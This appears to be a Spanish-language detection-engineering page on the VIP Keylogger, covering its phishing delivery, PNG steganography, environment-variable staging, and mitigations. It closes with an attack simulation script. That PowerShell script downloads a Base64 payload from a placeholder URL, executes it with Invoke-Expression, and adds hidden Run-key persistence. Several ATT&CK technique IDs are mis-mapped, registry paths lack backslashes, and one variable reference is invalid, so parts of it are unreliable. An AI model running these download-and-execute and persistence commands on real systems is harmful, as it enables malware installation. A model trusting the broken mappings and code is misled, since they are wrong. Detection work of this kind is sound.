VIP Keylogger y sus tácticas de evasión en múltiples capas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
VIP Keylogger es una amenaza modular de robo de información entregada a través de cebos de phishing como alertas falsas de pagos bancarios. Su cadena de infección depende de cargadores basados en VBS, JavaScript o batch que usan una fuerte ofuscación, esteganografía en imágenes PNG y abuso de variables de entorno para ocultar etapas de PowerShell antes de lanzar el keylogger final. Una vez activo, el malware captura credenciales, capturas de pantalla, contenidos del portapapeles y contraseñas de Wi-Fi, y luego exfiltra los datos a través de múltiples canales de comando y control. Los esfuerzos de detección deben centrarse en cambios sospechosos en el registro, valores inusuales de variables de entorno y transiciones anormales de la ejecución de scripts a cargas útiles binarias.
Investigación
El equipo de Investigación de Amenazas de Splunk revisó más de 200 muestras de cargadores recopiladas en marzo y abril de 2026, documentando sus patrones de nomenclatura, variantes de cargadores y el uso esteganográfico de archivos PNG para la entrega de cargas útiles. Los investigadores reprodujeron el proceso de desofuscación, identificaron el abuso de la INTERNAL_DB_CACHE variable de entorno e identificaron la persistencia en la clave de registro UserInitMprLogonScript . El informe también asignó cada comportamiento observado a técnicas relevantes de MITRE ATT&CK para apoyar la ingeniería de detección.
Mitigación
Las organizaciones deben detener los intentos iniciales de phishing mediante controles de seguridad de correo electrónico más fuertes y filtrado de URL. Los defensores deben monitorear la creación y modificación de los valores de HKCUEnvironment , especialmente entradas de gran tamaño o el uso de la variable INTERNAL_DB_CACHE . La ejecución de cargadores basados en scripts desde directorios escribibles por usuario debe ser restringida, y se debe aplicar el Modo de Lenguaje Restringido de PowerShell donde sea posible. Las herramientas de seguridad de punto final también deben detectar inyecciones de procesos en aspnet_compiler.exe y actividad sospechosa de netsh .
Respuesta
Si se detecta un indicador de VIP Keylogger, aísle el host afectado, recopile la memoria volátil y los registros de ejecución de procesos recientes, y busque los artefactos de registro conocidos, las URLs de comando y control basadas en PNG y los archivos dejados. Los scripts maliciosos deben ser eliminados, las credenciales expuestas restablecidas, y se debe realizar un barrido más amplio en todo el entorno en busca de artefactos de cargadores relacionados y mecanismos de persistencia.
Flujo de Ataque
Detecciones
Posibles Comunicaciones de Dominio de Búsqueda de IP Intentadas (vía dns)
Ver
Puntos de Persistencia Posibles [ASEPs – Software/NTUSER Hive] (vía evento_registro)
Ver
La Posibilidad de Ejecución a Través de Líneas de Comando de PowerShell Ocultas (vía cmdline)
Ver
LOLBAS WScript / CScript (vía creación_de_proceso)
Ver
Cadenas sospechosas de PowerShell (vía powershell)
Ver
Llamada a Métodos Suspiciosos de .NET desde PowerShell (vía powershell)
Ver
Posible Abuso de Telegram Como Canal de Comando y Control (vía consulta_dns)
Ver
IOCs (HashSha256) para detectar: Detrás del Código: La Evitación de Defensas en Capas de VIP Keylogger
Ver
Ejecución de PowerShell de VIP Keylogger a través de la variable de entorno [Windows PowerShell]
Ver
Persistencia de VIP Keylogger a través de la Modificación del Registro [Evento del Registro de Windows]
Ver
Ejecución de Simulación
Requisito previo: La Verificación de Prevuelo de Telemetría y Línea de Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un error de diagnóstico.
-
Narrativa del Ataque y Comandos:
- Reconocimiento Inicial – el atacante ejecuta
Get-ADDomain(T1016.002) para descubrir relaciones de confianza de dominio. - Adquisición de Carga Útil – usando
Invoke-WebRequest(T1071.001) el atacante descarga una DLL codificada en Base64 que implementa el keylogger (T1056.001). - Etapa por Variable de Entorno – la cadena descargada se almacena en una variable de entorno a nivel de usuario a través de
[Environment]::SetEnvironmentVariable. Este paso satisface el enfoque de la regla de detección en la manipulación de variables de entorno. - Ejecución Dinámica – el atacante ejecuta inmediatamente la carga útil con
Invoke-Expression $env:VIPPayload(T1059.001). El keylogger comienza a capturar pulsaciones de teclas, capturas de pantalla (T1113), y datos del portapapeles (T1115). - Limpieza – después de establecer la persistencia (por ejemplo, creando una clave Run, T1037.001), el atacante elimina el DLL temporal del disco (T1070.004) y elimina la variable de entorno para reducir la huella forense.
- Reconocimiento Inicial – el atacante ejecuta
-
Script de Prueba de Regresión: El script a continuación reproduce los pasos exactos y genera la telemetría que la regla de Sigma espera.
# Simulación de VIP Keylogger – PowerShell # ------------------------------------------------- # 1. Descargar una carga útil de ejemplo (cadena codificada en Base64) $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. Almacenar la carga útil en una variable de entorno a nivel de usuario $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Decodificar y ejecutar la carga útil mediante Invoke‑Expression $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4. (Opcional) Persistir a través de la clave Run – demuestra T1037.001 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5. Limpieza – eliminar la variable de entorno y la entrada de la clave Run Start-Sleep -Seconds 30 # permitir que alguna actividad sea registrada Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
Comandos de Limpieza: Ejecute estos comandos para devolver el sistema a un estado prístino después de la prueba.
# Remove the environment variable created for the test [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # Delete the persistence Run key entry if it exists $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # Clear any residual PowerShell history entries (optional) Clear-History